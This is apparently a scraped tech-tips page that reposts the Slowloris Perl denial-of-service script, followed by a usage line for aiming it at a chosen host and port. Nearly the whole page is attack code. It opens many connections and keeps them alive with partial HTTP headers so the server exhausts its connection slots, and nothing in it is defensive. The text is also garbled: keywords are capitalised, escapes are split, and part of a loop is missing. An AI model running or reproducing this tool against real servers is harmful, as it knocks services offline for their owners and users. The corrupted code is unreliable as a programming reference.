Get the App
SLTechnology News&Howtos  ›  Network Security  › 

Slowsloris code

Shulou Source: shulou.com Published: 2022-06-01 08:27:11 10月01日 Update

#! / usr/bin/perl-w

Use strict

Use IO::Socket::INET

Use IO::Socket::SSL

Use Getopt::Long

Use Config

$SIG {'PIPE'} =' IGNORE'; # Ignore broken pipe errors

Print\ $host

'httpready' = >\ $httpready

'num=i' = >\ $connections

'cache' = >\ $cache

'port=i' = >\ $port

'https' = >\ $ssl

'tcpto=i' = >\ $tcpto

'test' = >\ $test

'timeout=i' = >\ $timeout

'version' = >\ $version

);

If ($version) {

Print "Version 0.7\ n"

Exit

}

Unless ($host) {

Print "Usage:\ n\ n\ tperl $0-dns [www.example.com]-options\ n"

Print "\ n\ tType 'perldoc $0' for help with options.\ n\ n"

Exit

}

Unless ($port) {

$port = 80

Print "Defaulting to port 80.\ n"

}

Unless ($tcpto) {

$tcpto = 5

Print "Defaulting to a 5 second tcp connection timeout.\ n"

}

Unless ($test) {

Unless ($timeout) {

$timeout = 100

Print "Defaulting to a 100 second re-try timeout.\ n"

}

Unless ($connections) {

$connections = 1000

Print "Defaulting to 1000 connections.\ n"

}

}

My $usemultithreading = 0

If ($Config {usethreads}) {

Print "Multithreading enabled.\ n"

$usemultithreading = 1

Use threads

Use threads::shared

}

Else {

Print "No multithreading capabilites found!\ n"

Print "Slowloris will be slower than normal as a result.\ n"

}

My $packetcount: shared = 0

My $failed: shared = 0

My $connectioncount: shared = 0

Srand () if ($cache)

If ($shost) {

$sendhost = $shost

}

Else {

$sendhost = $host

}

If ($httpready) {

$method = "POST"

}

Else {

$method = "GET"

}

If ($test) {

My @ times = ("2", "30", "90", "240,500")

My $totaltime = 0

Foreach (@ times) {

$totaltime = $totaltime + $_

}

$totaltime = $totaltime / 60

Print "This test could take up to $totaltime minutes.\ n"

My $delay = 0

My $working = 0

My $sock

If ($ssl) {

If (

$sock = new IO::Socket::SSL (

PeerAddr = > "$host"

PeerPort = > "$port"

Timeout = > "$tcpto"

Proto = > "tcp"

)

)

{

$working = 1

}

}

Else {

If (

$sock = new IO::Socket::INET (

PeerAddr = > "$host"

PeerPort = > "$port"

Timeout = > "$tcpto"

Proto = > "tcp"

)

)

{

$working = 1

}

}

If ($working) {

If ($cache) {

$rand = "?" Int (rand (99999999999999))

}

Else {

$rand = ""

}

My $primarypayload =

"GET / $rand HTTP/1.1\ r\ n"

. "Host: $sendhost\ r\ n"

. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\ r\ n"

. "Content-Length: 42\ r\ n"

If (print $sock $primarypayload) {

Print "Connection successful, now comes the waiting game...\ n"

}

Else {

Print

That's odd-I connected but couldn't send the data to $host:$port.\ n "

Print "Is something wrong?\ nDying.\ n"

Exit

}

}

Else {

Print "Uhm... I can't connect to $host:$port.\ n"

Print "Is something wrong?\ nDying.\ n"

Exit

}

For (my $I = 0; $I "$tcpto"

Proto = > "tcp"

)

)

{

$working [$z] = 1

}

Else {

$working [$z] = 0

}

}

Else {

If (

$sock [$z] = new IO::Socket::INET (

PeerAddr = > "$host"

PeerPort = > "$port"

Timeout = > "$tcpto"

Proto = > "tcp"

)

)

{

$working [$z] = 1

$packetcount = $packetcount + 3; # SYN, SYN+ACK, ACK

}

Else {

$working [$z] = 0

}

}

If ($working [$z] = = 1) {

If ($cache) {

$rand = "?" Int (rand (99999999999999))

}

Else {

$rand = ""

}

My $primarypayload =

"$method / $rand HTTP/1.1\ r\ n"

. "Host: $sendhost\ r\ n"

. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\ r\ n"

. "Content-Length: 42\ r\ n"

My $handle = $sock [$z]

If ($handle) {

Print $handle "$primarypayload"

If ($SIG {_ _ WARN__}) {

$working [$z] = 0

Close $handle

$failed++

$failedconnections++

}

Else {

$packetcount++

$working [$z] = 1

}

}

Else {

$working [$z] = 0

$failed++

$failedconnections++

}

}

Else {

$working [$z] = 0

$failed++

$failedconnections++

}

}

}

Print "\ t\ tSending data.\ n"

Foreach my $z (1.. $num) {

If ($working [$z] = = 1) {

If ($sock [$z]) {

My $handle = $sock [$z]

If (print $handle "Xmura: B\ r\ n") {

$working [$z] = 1

$packetcount++

}

Else {

$working [$z] = 0

# debugging info

$failed++

$failedconnections++

}

}

Else {

$working [$z] = 0

# debugging info

$failed++

$failedconnections++

}

}

}

Print

"Current stats:\ tSlowloris has now sent $packetcount packets successfully.\ nThis thread now sleeping for $timeout seconds...\ n\ n"

Sleep ($timeout)

}

}

Sub domultithreading {

My ($num) = @ _

My @ thrs

My $I = 0

My $connectionsperthread = 50

While ($I

< $num ) { $thrs[$i] = threads->

Create (\ & doconnections, $connectionsperthread, 1)

$I + = $connectionsperthread

}

My @ threadslist = threads- > list ()

While ($# threadslist > 0) {

$failed = 0

}

}

_ _ END__

Save as pl suffix file

Usage:

Perl zkj.pl-dns url-port 80-timeout-num 100-cache

Tags: Suffix file code Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Shulou Tech Info Linux MariaDB Microsoft Shulou Technology